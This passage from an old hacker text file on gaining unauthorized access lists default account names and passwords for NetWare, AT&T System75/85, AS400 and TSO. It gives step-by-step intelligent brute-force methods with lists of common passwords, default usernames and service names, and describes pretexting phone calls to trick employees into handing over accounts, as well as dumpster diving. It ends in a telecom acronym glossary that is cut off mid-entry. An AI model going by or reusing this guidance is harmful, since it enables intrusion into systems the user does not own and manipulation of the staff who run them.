LAN software and is a popular among high-schools. The internal (and external for that matter) security is poor. COMMON ACCOUNTS Username Password -------- -------- admin operator, supervisor, sysadm backup guest visitor, user netware novell netware public remote server staff supervisor admin, operator, sysadm, supervis, manager system1 tape backup test testuser user visitor guest Sys75/85- AT&T's System75/85 have made a big splash in recent months despite their being around for years previous.. mostly due to codez kids discovering the PBX functions. Anyways, the hype has pretty much died down so it is probably safe to post the defaults. If you don't like my doing this, suck yourself. Anyone with access to this file probably has them by now anyways. And if not, all the better. Free information has always been one of our primary goals, and I don't intend to change that for some insecure pseudo-hackers. COMMON ACCOUNTS AS400- Username Password -------- -------- browse looker craft crftpw, craftpw cust custpw field support inads indspw, inadspw init initpw rcust rcustpw Another OS that was only really in use before my time, AS-400 is IBM made. I pulled this from the old UPT messages, thanks to anybody who contributed. It should in fact identify itself as an AS-400 at login time. I'm unsure of the case-sensativity of the characters.. i'll enter them as lowercase, but if unsuccessful use caps. COMMON ACCOUNTS Username -------qsecofr qsysopr quser sedacm sysopr user TSO- An IBM product, TSO can be found stand alone, but is commonly found off an ISM. Upon connect you should see a login prompt that looks like: IKJ56700A ENTER USERID- Or something close. It will tell you if the username entered is incorrect: IKJ5642OI USERID xxx NOT AUTHORIZED TO USE TSO IKJ56429A REENTER- Occasionally some of the accounts will have the STC attribute and can not be used for remote login. COMMON ACCOUNTS Username Password -------- -------- admin adm, sysadm, op guest init maint systest test test1 test tso BRUTE FORCE =========== ----------Passwords ========= Occasionally you will find yourself in a position where you wish to penetrate a system, but defaults are taken off and social engineering is not possible. The dedicated hacker then begins the tedious process of trying password after password, hoping to crowbar his way into the system. Thus the term 'Brute Force' was born, aptly describing this process. Brute force is the absolute ugliest way of obtaining an account, but is is often effective. It is ugly for a number of reasons, having to do with the fact that you will have to call the system hundreds of times if the account is not easily brute forced. However, first i will explain a modified form of brute force; intelligent brute force. In this process, the hacker tries the users first name, as that is the most common password of all, and a database of 20-100 common passwords. The difference between this and the normal brute forcing is you cut your time down considerably, but your chances of getting in go down as well. Normal brute forcing is rarely done nowadays; the greats of yesterday would spend 6 hours at a sitting trying passwords, but people nowadays seem to think 5 minutes is sufficient. Ugh. If standard brute forcing is done, it is accomplished with automation, usually. Meaning the hacker will set up a program or a script file to spew out dictionary passwords for him, then go to the movies or whatever. Obviously, any way you do it, standard brute forcing is fairly dangerous. A sysadmin is more likely to notice you trying a username/password 2000 times than 50. If you choose to do automated brute forcing, it might be a good idea to set up a hacked system to do it for you, such as a procured Unix. I would not, however, suggest wasting the powers of a Cray on such a menial task as brute force. You can only go as fast as the host system will let you. The danger in this is obvious, you will have to be connected to the remote system for a long time, leaving you wide open for a trace. It is up to you. And, of course, brute forcing requires a username. If you don't have a username, you are probably out of luck. One thing you should definetly do is make a list of first names, and make it fairly complete. Buy/steal a baby names book or look inside your phone book and copy down the more commmon names on to a piece of paper or into a file. Other than first names, husband/wife, boyfriend/girlfriend and childs names are the most common passwords. Ok, here are the basics to intelligent brute force hacking; 1. try the users first name 2. try your list of first names, male and female 2. try the users first name, with a lone digit(1 to 9) after the username 3. try the users first name, with a lone digit(1 to 9) after the username 4. try the users first name, with a letter appended to the end(A to Z) 5. try anything related to the system you are on. If you are on a VAX running VMS on the Datapac PSN, try VAX, VMS, Datapac, X25, etc 6. try anything related to the company/service the system is owned by. if the user is on a system owned by the Pepsi Cola company, try Pepsi, Cola, Pepsico, etc. 7. finally, try passwords from your list of common passwords. your list of common passwords should not be above 200 words. The most popular passwords are; password secret money sex smoke beer x25 system hello cpu aaa abc fuck shit Add on popular passwords to that as you see fit. Remember; most passwords are picked spontaneously, on whatever enters the users mind at that time(you know the feeling, i bet). Attempt to get into the users mind and environment, to think what he would think. If you can't do that, just try whatever comes to your mind, you'll get the hang of it. Brute Forcing User Names ======================== A different form of brute force is that when you need a username to hack passwords from. In order to guess a valid username, you must be on a system that informs you when your username is invalid; thus VMS and Unix are out of the question. There are two types of usernames(by my definition); user and system. The user usernames are the standard user's usernames. Examples would be John, Smith, JMS, JSmith, and JohnS. The system usernames are special usernames used by the system operators to perform various functions, such as maintenance and testing. Since these usernames are not owned by actual people(usually), they are given a name which corresponds to their function. Guessing either type is usually fairly easy. User usernames are standardly in one of 2 formats; first name or last name the more common format being first name. Less common formats are initials, first initial/last name, and first name/last initial. Occasionally the username formats will have nothing to do with names at all, and will instead be 6 or 8 digit numbers. Have fun. The users of a system will almost always have the same format as each other. When you guess one, guessing more shouldn't be too hard. For first names, again consult the list you made from the baby names book. For last names, construct a list of the most common last names, ideally out of the phone book, but if you are too lazy your mind will do fine. SMITH and JONES are the most common non-foreign names. For initials, use common sense. Guess at 3 letter combinations, and use sensible formats. Meaning don't use XYZ as a rule, go for JMS, PSJ, etc, to follow along with common first names and last names. If you are getting no luck whatsoever, try switching your case(ie: from all lower case to all upper case), the system might be case sensitive. Usually guessing system names shouldn't be necessary; I gave a default list for all the major systems. But if you run across a system not listed, you will want to discover defaults of your own. Use common sense, follow along with the name of the new OS and utilities that would fit with that name. Attempt to find out the username restrictions for that system, if usernames have to be 6 characters long, try only 6 character user names. And finally, here is a list of common defaults(they are capitalized for convienience, but as a rule use lower case); OPERATOR SYSOP OP OPER MANAGER SYSMAN SYSMGR MGR MAN ADMIN SYSADMIN ADM SYSADM BOSS MAIL SYSTEM SYS SYS1 MAINT SYSMAINT TEST TESTER TESTUSER USER USR REMOTE PUB PUBLIC GUEST VISITOR STUDENT DEMO TOUR NEWS HELP MGT SYSMGT SYSPROG PROD SALES MARKET LIB LIBRARY FILES FILEMAN NET NETWORK NETMAN NETMGR RJE DOS GAMES INFO SETUP STARTUP CONTROL CONFIG DIAG SYSDIAG STAT SYSDIAGS DIAGS BATCH SUPRVISR SYSLIB MONITOR UTILITY UTILS OFFICE CORP SUPPORT SERVICE FIELD CUST SECURITY WORD DATABASE BACKUP FRIEND DEFAULT FINANCE ACCOUNT HOST ANON SYSTEST FAX INIT INADS SETUP Brute Forcing Services ====================== There is also the time when you are on a server system, and you need places to go. You will surely be told if the service you've entered is incorrect, so just try things that come to mind, and the following list; (the server may be case sensitive..use upper or lower case as you wish) (NOTE: Try digits(1 +) and letters(A-Z) also) SERVER NETWORK NET LINK LAN WAN MAN CONNECT LOG LOGIN HELP DIAL OUT OUTDIAL DIALOUT MODEM MODEMOUT INTERNET TELNET PAD X25 X28 FTP SYSTEM SYS SYS1 SYSTEM1 UNIX VAX VMS HP CONSOLE INFO CMDS LIST SERVICES SERVICE SERVICE1 COMP COMPUTER CPU CHANNEL CHANNEL1 CH1 CH01 GO DO ? LOG ID USERS SHOW WHO PORT1 PORT NODE1 NODE LINK1 DISPLAY CONFIG CONTROL DIAGS SYSDIAGS DIAG SYSDIAG HELLO EMAIL MAIL SET DEFINE PARAMS PRINT PHONE PHONES SESSION SESSION1 BEGIN INIT CUST SERVICE SUPPORT BUSINESS ACCT ACCOUNT FINANCE SALES BUFFER QUEUE STAT STATS SYSINFO SYSTAT FTP ACCESS DISK LIB SYSLIB LIBRARY FILES BBS LOOP TEST SEARCH MACRO CALL COMMANDS TYPE FIND ASK QUERY JOIN ATTACH JOB REMOTE COM1 COM CALLER LOGGER MACHINE BULLITEN CLUSTER RUN HELLO PAYROLL DEC SOCIAL ENGINEERING ================== -----------------While I am in no way going to go indepth on SE(social engineering) at this point, i will explain the premise of SE to those new to it. Social engineering can be defined any number of ways, but my definition goes along the lines of; "Misrepresentation of oneself in a verbal manner to another person in order to obtain knowledge that is otherwise unattainable." Which in itself is a nice way of putting "manipulation, lying and general bullshitting". Social engineering is almost always done over the phone. I'll give an example. The hacker needs information, such as an account, which he cannot get by simple hacking. He calls up the company that owns the system he wishes to penetrate, and tells them he is Joe Blow of the Computer Fixing Company, and he is supposed to fix their computers, or test them remotely. But gosh, somebody screwed up and he doesn't have an account. Could the nice lady give him one so he can do his job and make everybody happy? See the idea? Misrepresentation of the truth; pretending to be someone you aren't. If you are skeptical, you shouldn't be. SE is tried and true, due to the fact that any company's biggest security leak is their employees. A company can design a system with 20 passwords, but if an uncaring employee unwittingly supplies a hacker with all of these passwords, the game is over. You *must* have the voice for it. If you sound like a 12 year old, you aren't going to get shit. If you can't help it, there are telephone-voice changers(which any SE practicer should have anyways) that will do it for you. If the person wishes to contact higher authority(who will probably suspect somethings up), get mad. Don't go into a rage, but do get angry. Explain that you have a job to do, and be persuasive. I won't go more into SE, there are tons of text files out there on it already. Just remember to keep calm, have a back up plan, and it is a good idea to have the script on paper, and practice it a bit before hand. If you sound natural and authorative, you will get whatever you want. And practice makes perfect. TRASHING ======== -------Trashing is another thing i will not go too indepth on, but i will provide a very quick overview. Trashing is the name given to the process of stealing a companies trash, then rooting through it and saving the valuable information. Trashing is practiced most often on the various RBOCs, but if you are attempting to hack a system local to you, it might be a good idea to go trashing for a few weeks, you might find a printout or a scrap of paper with a dialup or username and password written on it. ACRONYMS ======== -------This is a basic list of H/P acronyms I've compiled from various sources.. it should be big enough to serve as an easy reference without being incredibly cumbersome ABSBH: Average Busy Season Busy Hour AC: Area code ACC: Automatic Communications Control ACC: Asynchronous Communications Center ACD: Automatic Call Distributor ACE: Automatic Calling Equipment ACF: Advanced Communications Functions ACN: Area Code + Number ADPCM: Adaptive Differential Pulse Code Modulation AIS: Automatic Intercept System ALFE: Analog Line Front End ALRU: Automatic Line Record Update AM: Account Manager AM: Access Module AM: Amplitude Modulation AMA: Automatic Message Accounting AMSAT: American Satellite AN: Associated Number ANI: Automatic Number Identification ANXUR: Analyzer for Networks with Extended Routing AOSS: Auxiliary Operator Services System AP: Attached Processor ARC: Automatic Response Control ARP: Address Resolution Protocol ARPA: Advanced Reasearch Projects Agency ARS: Automatic Response System ARSB: Automated Repair Service Bureau AT: Access Tandem ATB: All Trunks Busy ATH: Abbreviated Trouble History ATM: Automated Teller Machine ATM: Asynchronous Transfer Mode AT&T: American Telegraph and Telephone Company AVD: Alternate Voice Data BCD: Binary Coded Decimal BCUG: Bilateral CUG BELLCORE: Bell Communications Research BGP: Border Gateway Protocol BHC: Busy Hour Calls BLV: Busy Line Verification BOC: Bell Operating Company BOR: Basic Output Report BOS: Business Office Supervisor BSC: Binary Synchronous Module BSCM: Bisynchronous Communications Module BSOC: Bell Systems Operating Company CA: Cable CADV: Combined Alternate Data/Voice CAMA: Centralized Automatic Message Accounting CATLAS Centralized Automatic Trouble Locating & Analysis System CAU: Controlled Access Unit CAVD: Combined Alternated Voice/Data CBC Cipher Block Chaining CBS: Cross Bar Switching CBX: Computerized Branch Exchange CBX: Computerized Business Exchange CC: Calling Card CC: Common Control CC: Central Control CC: Country Code CCC: Central Control Complex CCC: Clear Channel Capability CCC: Central Control Computer CCIS: Common Channel Interoffice Signalling CCITT: International Telephone and Telegraph Consultative Committee CCM: Customer Control Management CCNC: Common Channel Network Controller CCNC: Computer Communications Network Center CCS: Common Channel Signalling CCSA: Common Control Switching Arrangement CCSA: Common Central Switching Arrangement CCSS: Common Channel Signalling System CCT: Central Control Terminal CCTAC: Computer Communications Trouble Analysis Center CDA: Call Data Accumulator CDA: Crash Dump Analyzer CDA: Coin Detection and Announcement CDAR: Customer Dialed Account Recording CDC: Control Data Corporation CDI: Circle Digit Identification CDO: Community Dial Office CDPR: Customer Dial Pulse Receiver CDR: Call Dial Recording CDS: Cicuit Design System CEF: Cable Entrance Facility CERT: Computer Emergency Response Team CF: Coin First CGN: Concentrator Group Number CI: Cluster Interconnect CIC: Carrier Identification Codes CICS: Customer Information Control System CID: Caller ID CII: Call Identity Index CIS: Customer Intercept Service CISC: Complex Instruction Set Computing CLASS: Custom Local Area Signalling Service CLASS: Centralized Local Area Selective Signalling CLDN: Calling Line Directory Number CLEI: Common Language Equipment Identification CLI: Calling Line Identification CLID: Calling Line Identification CLLI: Common Language Location Indentifier CLNP: Connectionless Network Protocol CMAC: Centralized Maintenance and Administration Center CMC: Construction Maintenance Center CMDF: Combined Main Distributing Frame CMDS: Centralized Message Data System CMIP: Common Management Information Protocol CMS: Call Management System CMS: Conversational Monitoring System CMS: Circuit Maintenance System CMS: Communications Management Subsystem CN/A: Customer Name/Address CNA: Communications Network Application CNAB: Customer Name Address Bureau CNCC: Customer Network Control Center CNI: Common Network Interface CNS: Complimentary Network Service CO: Central Office COC: Central Office Code COCOT: Customer Owned Coin Operated Telephone CODCF: Central Office Data Connecting Facility COE: Central Office Equipment COEES: Central Office Equipmet Engineering System COER: Centarl Office Equipment Reports COLT: Central Office Line Tester COMSAT: Communications Satellite COMSEC: Communications Security COMSTAR: Common System for Technical Analysis & Reporting CONS: Connection-Oriented Network Service CONTAC: Central Office Network Access COS: Class of Service COSMIC: Common Systems Main Inter-Connection COR: Class Of Restriction COSMOS: Computerized System For Mainframe Operations COT Central Office Terminal CP: Control Program CPBXI: Computer Private Branch Exchange Interface CPC: Circuit Provisioning Center CPD: Central Pulse Distributor CPMP: Carrier Performance Measurement Plan CRAS: Cable Repair Administrative System CRC: Customer Record Center CRC: Customer Return Center CREG: Concentrated Range Extension & Gain CRG: Central Resource Group CRIS: Customer Record Information System CRS: Centralized Results System CRSAB: Centralized Repair Service Answering Bureau CRT: Cathode Ray Tube CRTC: Canadian Radio-Television and Telecommunications Commission CSA: Carrier Servicing Area CSAR: Centralized System for Analysis and Reporting CSC: Cell Site Controller CSC: Customer Support Center CSDC: Circuit Switch Digital Capability CSP: Coin Sent Paid CSMA/CD: Carrier Sense Multiple Access/Collission Detection CSR: Customer Service Records CSS: Computer Special Systems CSS: Computer Sub-System CSU: Channel Service Unit CT: Current Transformer CTC: Channel Termination Charge CTC: Central Test Center CTM: Contac Trunk Module CTMS: Carrier Transmission Measuring System CTO: Call Transfer Outside CTSS: Compatible Time Sharing System CTSS: Cray Time Sharing System CTTN: Cable Trunk Ticket Number CTTY: Console TeleType CU: Control Unit CU: Customer Unit CUG: Closed User Group CWC: City-Wide Centrex DA: Directory Assistance DACC: Directort Assistance Call Completion DAA: Digital Access Arrangements DACS: Digital Access and Cross-connect System DACS: Directory Assistance Charging System DAIS: Distributed Automatic Intercept System DAL: Dedicated Access Line DAO: Directory Assistance Operator DAP: Data Access Protocol DARC: Division Alarm Recording Center DARPA: Department of Defense Advanced Research Projects Agency DARU: Distributed Automatic Response Unit DAS: Device Access Software DAS: Directory Assistance System DAS: Distributor And Scanner DAS: Dual Attachment Station DASD: Direct Access Storage Device DBA: Data Base Administrator DBA: Digital Business Architecture DBAC: Data Base Administration Center DBAS: Data Base Administration System DBC: Digital Business Center DBM: Database Manager DBMS: Data Base Management System DBS: Duplex Bus Selector DCA: Defense Communications Agency DCC: Data Country Code DCC: Data Collection Computer DCE: Data Circuit-Terminating Equipment DCE: Data Communicating Equipment DCL: Digital Computer Language DCLU: Digital Carrier Line Unit DCM: Digital Carrier Module DCMS: Distributed Call Measurement System DCMU: Digital Concentrator Measurement Unit DCO-CS: Digital Central Office-Carrier Switch DCP: Duplex Central Processor DCS: Digital Cross-Connect System DCSS: Discontiguous Shared Segments DCSS: Digital Customized Support Services DCT: Digital Carrier Trunk DDCMP: Digital Data Communications Message Protocol DDD: Direct Distance Dialing DDN: Defense Data Network DDR: Datapac Design Request DDS: Digital Data Service DDS: Digital Data System DDS: Dataphone Digital Service DEC: Digital Equipment Corporation DES: Data Encryption Standard DF: Distributing Frame DGC: Data General Corporation DH: Distant Host DID: Direct Inward Dialing DIMA: Data Information Management Architecture DINS: Digital Information Network Service DIS: Datapac Information Service DISA: Direct Inward System Access DLC: Digital Loop Carrier DLS: Dial Line Service DM: Demultiplexer DMA: Direct Memory Access DN: Directory Numbers DNA: Datapac Network Address DNA: Digital Named Accounts DNA: Digital Network Architecture DNIC: Data Network Identifier Code DNR: Dialed Number Recorder DNS: Domain Name Service DNS: Domain Name System DOCS: Display Operator Console System DOD: Department Of Defense DOM: District Operations Manager DPSA: Datapac Serving Areas DPTX: Distributed Processing Terminal Executive DSC: Data Stream Compatibility DSI: Data Subscriber Interface DSL: Digital Subscriber Line DSN: Digital Services Network DSU: Data Service Unit DSU: Digital Service Unit DSX: Digital Signal Cross-Connect DTC: Digital Trunk Controller DTE: Data Terminal Equipment DTF: Dial Tone First DTG: Direct Trunk Group DTI: Digital Trunk Interface DTIF: Digital Tabular Interchange Format DTMF: Dual Tone Multi-Frequency DTN: Digital Telephone Network DTST: Dial Tone Speed Test DVM: Data Voice Multiplexor EAEO: Equal Access End Office EA-MF: Equal Access-Multi Frequency EBDI: Electronic Business Data Interchange EC: Exchange Carrier ECC: Enter Cable Change EDC: Engineering Data Center EDI: Electronic Data Interchange EE: End to End Signaling EEDP: Expanded Electronic Tandem Switching Dialing Plan EGP: Exterior Gateway Protocol EIES: Electronic Information Exchange System EIU: Extended Interface Unit EKTS: Electonic Key Telephone Service ELDS: Exchange Line Data Service EMA: Enterprise Management Architecture EO: End Office EOTT: End Office Toll Trunking EREP: Environmental Recording Editing and Printing ESA: Emergency Stand Alone ESB: Emergency Service Bureau ESN: Electronic Serial Number ESP: Enhanced Service Providers ESS: Electronic Switching System ESVN: Executive Secure Voice Network ETS: Electronic Tandem Switching EWS: Early Warning System FAC: Feature Access Code FAM: File Access Manager FCC: Federal Communications Commission FCO: Field Change Order FDDI: Fiber Distributed Data Interface FDM: Frequency Division Multiplexing FDP: Field Development Program FEP: Front-End Processor FEV: Far End Voice FIFO: First In First Out FIPS: Federal Information Procedure Standard FM: Frequency Modulation FMAP: Field Manufacturing Automated Process FMIC: Field Manufacturing Information Center FOA: First Office Application FOIMS: Field Office Information Management System FPB: Fast Packet Bus FRL: Facilities Restriction Level FRS: Flexible Route Selection FRU: Field Replaceable Unit FS: Field Service FSK: Frequency Shift Keying FT: Field Test FTG: Final Trunk Group FTP: File Transfer Protocol FTPD: File Transfer Protocol Daemon FX: Foreign Exchange GAB: Group Access Bridging GCS: Group Control System GECOS: General Electric Comprehensive Operating System GGP: Gateway-to-Gateway Protocol GOD: Global Out Dial GPS: Global Positioning System GRINDER: Graphical Interactive Network Designer GSA: General Services Administration GSB: General Systems Business GTE: General Telephone HCDS: High Capacity Digital Service HDLC: High Level Data Link Control HLI: High-speed LAN Interconnect HDSC: High-density Signal Carrier HPO: High Performance Option HUTG: High Usage Trunk Group HZ: Hertz IBM: International Business Machines IBN: Integrated Business Network IC: Intercity Carrier IC: InterLATA Carrier IC: Interexchange Carrier ICAN: Individual Circuit Analysis Plan ICH: International Call Handling ICM: Integrated Call Management ICMP: Internet Control Message Protocol ICN: Interconnecting Network ICPOT: Interexchange Carrier-Point of Termination ICUG: International Closed User Group ICVT: Incoming Verification Trunk IDA: Integrated Digital Access IDCI: Interim Defined Central Office Interface IDDD: International Direct Distance Dialing IDLC: Integrated Digital Loop Carrier IDN: Integrated Digital Networks IEC: Interexchange Carrier IMP: Internet Message Processor IMS: Information Management Systems IMS: Integrated Management Systems IMTS: Improved Mobile Telephone Service INAP: Intelligent Network Access Point INS: Information Network System INTT: Incoming No Test Trunks INWATS: Inward Wide Area Telecommunications Service IOC: Interoffice Channel IOC: Input/Output Controller IOCC: International Overseas Completion Center IP: Intermediate Point IP: Internet Protocol IPCF: Inter-Program Communication Facility IPCH: Initial Paging Channel IPCS: Interactive Problem Control System IPL: Initial Program Load IPLI: Internet Private Line Interface IPLS: InterLATA Private Line Services IPSS: International Packet-Switched Service IRC: Internet Relay Chat IRC: International Record Carrier ISC: Inter-Nation Switching Center ISDN: Integrated Services Digital Network ISIS: Investigative Support Information System ISO: International Standards Organization ISSN: Integrated Special Services Network ISU: Integrated Service Unit ISWS: Internal Software Services ITDM: Intelligent Time Division Multiplexer ITI: Interactive Terminal Interface ITS: Interactive Terminal Support ITS: Incompatible Time-Sharing System ITT: International Telephone and Telegraph IVP: Installation Verification Program IX: Interactive Executive IXC: Interexchange Carrier JCL: Job Control Language JES: Job Entry System KP: Key Pulse LAC: Loop Assignment Office LADS: Local Area Data Service LADT: Local Area Data Transport LAM: Lobe Access Module LAN: Local Area Network LAP: Link Access Protocol LAPB: Link Access Protocol Balanced LAPS: Link Access Procedure LASS: Local Area Signalling Service LASS: Local Area Switching Service LAST: Local Area System Transport LAT: Local Area Transport LATA: Local Access Transport Area LAVC: Local Area VAX Cluster LBS: Load Balance System LCDN: Last Call Directory Number LCM: Line Concentrating Module LCN: Logical Channel LD: Long Distance LDEV: Logical Device LDM: Limited Distance Modem LDS: Local Digital Switch LEBC: Low End Business Center LEC: Local Exchange Carrier LEN: Low End Networks LENCL: Line Equipment Number Class LGC: Line Group Controller LH: Local Host LIFO: Last In First Out LIP: Large Internet Protocol LLC: Logical Link Control LM: Line Module LMOS: Loop Maintenance and Operations System LSI: Large Scale Integration LTC: Line Trunk Controller LU: Local Use LVM: Line Verification Module MAC: Media Access Control MAC: Message Authentication MAN: Metropolitan Area Network MAP: Maintenance and Administration Position MAP: Manufacturing Automation Protocol MAT: Multi-Access Trunk MAU: Multistation Access Unit MBU: Manufacturing Business Unit MCA: Micro Channel Architecture MCI: Microwave Communications, Inc. MCP: Master Control Program MCT: Manufacturing Cycle Time MCU: Multi Chip Unit MDR: Message Detail Record MDS: Message Design Systems MDU: Marker Decoder Unit MF: Multi-Frequency MFD: Main Distributing Frame MFR: Mult-Frequency Receivers MFT: Metallic Facility Terminal MHZ: Mega-Hertz MIB: Management Information Base MIC: Management Information Center MIF: Master Item File MIS: Management Information Systems MJU: MultiPoint Junction Unit MLHG: Multiline Hunt Group MLT: Mechanized Loop Testing MNS: Message Network Basis MOP: Maintenance Operation Protocol MP: Multi-Processor MPL: Multischedule Private Line MPPD: Multi-Purpose Peripheral Device MRAA: Meter Reading Access Arrangement MSCP: Mass Storage Control Protocol MSI: Medium Scale Integration MTBF: Mean Time Between Failure MTS: Message Telecommunication Service MTS: Message Telephone Service MTS: Message Transport Service MTS: Mobile Telephone Service MTSO: Mobile Telecommunications Switching Office MTU: Maintenence Termination Unit MUX: Multiplexer MVS: Multiple Virutal Storage MWI: Message Waiting Indicator NAM: Number Assignment Module NAS: Network Application Support NC: Network Channel NCCF: Network Communications Control Facility NCI: Network Channel Interface NCIC: National Crime Information Computer NCP: Network Control Program NCS: Network Computing System NCTE: Network Channel Terminating Equipment NDA: Network Delivery Access NDC: Network Data Collection NDIS: Network Device Interface Specification NDNC: National Data Network Centre NDS: Network Data System NDU: Network Device Utility NEBS: Network Equipment Building System NECA: National Exchange Carriers Association NFS: Network File Sharing NFS: Network File System NFT: Network File Transfer NI: Network Interconnect NI: Network Interface NIC: Network Information Center NIC: Network Interface Card NJE: Network Job Entry NLM: Netware Loadable Modules NLM: Network Loadable Modules NM: Network Module NMR: Normal Mode Rejection NOS: Network Operating System NPA: Numbering Plan Area NPA: Network Performance Analyzer NSF: National Science Foundation NSP: Network Services Protocol NTE: Network Terminal Equipment NUA: Network User Address NUI: Network User Identifier OC: Operator Centralization OCC: Other Common Carrier OD: Out Dial ODA: Office Document Architecture ODDB: Office Dependent Data Base ODI: Open Data Interface OGT: Out-Going Trunk OGVT: Out-Going Verification Trunk OIS: Office Information Systems OLTP: On-Line Transaction Processing ONI: Operator Number Identification OPCR: Operator Actions Program OPM: Outside Plant Module OPM: Outage Performance Monitoring OR: Originating Register OS: Operating System OSI: Open Systems Interconnection OSL: Open System Location OSS: Operator Services System OST: Originating Station Treatment OTC: Operating Telephone Company OTR: Operational Trouble Report OUTWATS: Outward Wide Area Telecommunications Service PABX: Private Automated Branch Exchange PACT: Prefix Access Code Translator PAD: Packet Assembler/Disassembler PADSX: Partially Automated Digital Signal Cross-Connect PAM: Pulse Amplitude Modulation PAX: Private Automatic Exchange PBU: Product Business Unit PBX: Private Branch Exchange PC: Primary Center PCM: Pulse Code Modulation PCP: PC Pursuit PFM: Pulse Frequency Modulation PGA: Pin Grid Array PIN: Personal Identification Number PLA: Programmable Logic Array PLD: Programmable Logic Device PLS: Programmable Logic Sequencer PM: Phase Modulation PM: Peripheral Module PMAC: Peripheral Module Access Controller PMR: Poor Mans Routing PNC: Primenet Node Controller POC: Point of Contact POF: Programmable Operator Facility POP: Point of Presence POS: Point Of Sale POT: Point of Termination POTS: Plain Old Telephone Service PPN: Project Program Number PPP: Point to Point Protocol PPS: Public Packet Switching PPSN: Public Packet Switched Network PSAP: Public Safety Answering Point PSDC: Public Switched Digital Capability PSDCN: Packet-Switched Data Communication Network PSDN: Packet-Switched Data Network PSDS: Public Switched Digital Service PSN: Packet-Switched Network PSS: Packet-Switched Service PSW: Program Status Word PTE: Packet Transport Equipment PTS: Position and Trunk Scanner PTT: Postal Telephone & Telegraph PVC: Permanent Virtual Call PVN: Private Virtual Network PWC: Primary Wiring Center QPSK: Quadrature Phase-Shift Keying RACF: Resource Access Control Facility RAO: Revenue Accounting Office RARP: Reverse Address Resolution Protocol RBG: Realtime Business Group RBOC: Regional Bell Operating Company RC: Rate Center RC: Regional Center RDB: Relational Database RDSN: Region Digital Switched Network RDT: Restricted Data Transmissions RDT: Remote Digital Terminal REP: Reperatory Dialing REXX: Restructured Extended Executer Language RFC: Request For Comments RIP: Routing Information Protocol RIS: Remote Installation Service RISC: Reduced Instruction Set Computer RISD: Reference Information Systems Development RJE: Remote Job Entry RLCM: Remote Line Concentrating Module RNOC: Regional Network Operations Center ROTL: Remote Office Test Line RPC: Remote Procedure Call RPE: Remote Peripheral Equipment RSA: Reference System Architecture RSB: Repair Service Bureau RSC: Remote Switching Center RSCS: Remote Spooling Communications Subsystem RSS: Remote Switching System RSU: Remote Switching Unit RTA: Remote Trunk Arrangement RTG: Routing Generator R/W: Read/Write RX: Remote Exchange SA: Storage Array SABB: Storage Array Building Block SAM: Secure Access Multiport SARTS: Switched Access Remote Test System SAS: Switched Access Services SAS: Single Attachment System SBB: System Building Block SABM: Set Asynchronous Balanced Mode SAC: Special Area Code SBS: Satellite Business Systems SC: Sectional Center SCC: Specialized Common Carrier SCC: Switching Control Center SCCP: Signaling Connection Control Part SCCS: Switching Control Center System SCF: Selective Call Forwarding SCF: Supervision Control Frequency SCM: Station Class Mark SCM: Subscriber Carrier Module SCP: Signal Conversion Point SCP: System Control Program SCP: Service Control Point SCR: Selective Call Rejection SDLC: Synchronous Data Link Control SF: Single-Frequency SFE: Secure Front End SIDH: System Identification Home SIT: Special Information Tones SLIC: Subscriber Line Interface Card SLIM: Subscriber Line Interface Module SLIP: Serial Line Internet Protocol SLS: Storage Library System SLU: Serial Line Unit SM: System Manager SMDI: Storage Module Disk Interconnect SMDR: Station Manager Detail Recording SMI: System Management Interrupt SMP: Symmetrical Multi-Processing SMS: Self-Maintenance Services SMS: Station Management System SMTP: Simple Mail Transfer Protocol SNA: Systems Network Architecture SNMP: Simple Network Management Protocol SONDS: Small Office Network Data System SOST: Special Operator Service Treatment SP: Service Processor SPC: Stored Program Control SPCS: Stored Program Control System SPCSS: Stored Program Control Switching System SPM: Software Performance Montior SQL/DS: Structured Query Language/Data System SRC: System Resource Center SS: Signaling System SSAS: Station Signaling and Announcement System SSCP: Systems Service Control Point SSCP: Subsystem Services Control Point SSP: Switching Service Points SSS: Strowger Switching System ST: Start STC: Service Termination Charge STD: Subscriber Trunk Dialing STP: Signal Transfer Point STS: Synchronous Transport Signal SVC: Switched Virtual Call SWG: Sub Working Group SxS: Step-by-Step Switching T-1: Terrestrial Digital Service TAC: Trunk Access Code TAC: Terminal Access Circuit TAC: Terminal Access Center TAS: Telephone Answering Service TASI: Time Assignment Speech Interpolation TBU: Terminals Business Unit TC: Toll Center TCAP: Transaction Capabilities ApplicationPart TCC: Technical Consulting Center TCC: Telecommunications Control Computer TCF: Transparent Connect Facility TCM: Time Compression Multiplexing TCP: Transmission Control Protocol TDAS: Traffic Data Administration System TDCC: Transport Data Coordinating Committee TDM: Time Division Multiplexer TDMS: Terminal Data Management System TDS: Terrestrial Digital Service TH: Trouble History TIDE: Traffic Information Distributor & Editor TIS: Technical Information Systems TLB: TransLAN Bridge TM: Trunk Module TMSCP: Tape Mass Storage Control Protocol TNDS: Total Network Data System TNPS: Traffic Network Planning Center TO: Toll Office TOP: Technical Office Protocol TOPS: Traffic Operator Position System TP: Transport Protocol TP: Toll Point TP: Transaction Processing TPC: Transaction Processiong Performance Council TREAT: Trouble Report Evaluation and Analysis Tool TRIB: Throughput Rate in Information Bits TRT: Tropical Radio and Telephone TSB: Time Shared Basic Environment TSG: Timing Signal Generator TSN: Terminal Switching Network TSO: Time Sharing Option TSPS: Traffice Service Position System TTL: Transistor-to-Transistor Logic TTS: Trunk Time Switch TWX: Type Writer Exchange UA: Unnumbered Acknowledgement UAE: Unrecoverable Application Error UART: Universal Asynchronous Receiver Transmitter UCS: Uniform Communication Standard UDC: Universal Digital Channel UDP: User Datagram Protocol UDVM: Universal Data Voice Multiplexer UID: User Identifier UPC: Utility Port Conditioner USC: Usage Surcharge USDN: United States Digital Network USTS: United States Transmission Systems UUCP: Unix to Unix Copy Program VAN: Value Added Networks VAX: Virtual Address Extention VCPI: Virtual Control Program Interface VDU: Visual Display Unit VF: Voice Frequency VFU: Vertical Forms Unit VFY: Verify VIA: Vax Information Architecture VLM: Virtual Loadable Module VLSI: Very Large Scale Integration VMB: Voice Mail Box VMCF: Virtual Machine Communications Facility VMS: Virtual Memory System VMS: Voice Mail System VM/SP: Virtual Machine/System Product VPA: VAX Performance Advisor VPS: Voice Processing System VSAM: Virtual Storage Access Method VSE: Virtual Storage Extended VTAM: Virtual Telecommunications Access Method VTOC: Volume Table Of Contents VUIT: Visual User Interface Tool VUP: Vax Unit of Processsing WAN: Wide Area Network WATS: Wide Area Telecommunications System WATS: Wide Area Telephone Service WC: Wiring Center WCPC: Wire Center Planning Center WDCS: Wideband Digital Cross-Connect System WDM: Wavelength Division MultiPlexing WES: Western Electronics Switching WUI: Western Union International XB: Crossbar Switching XBAR: 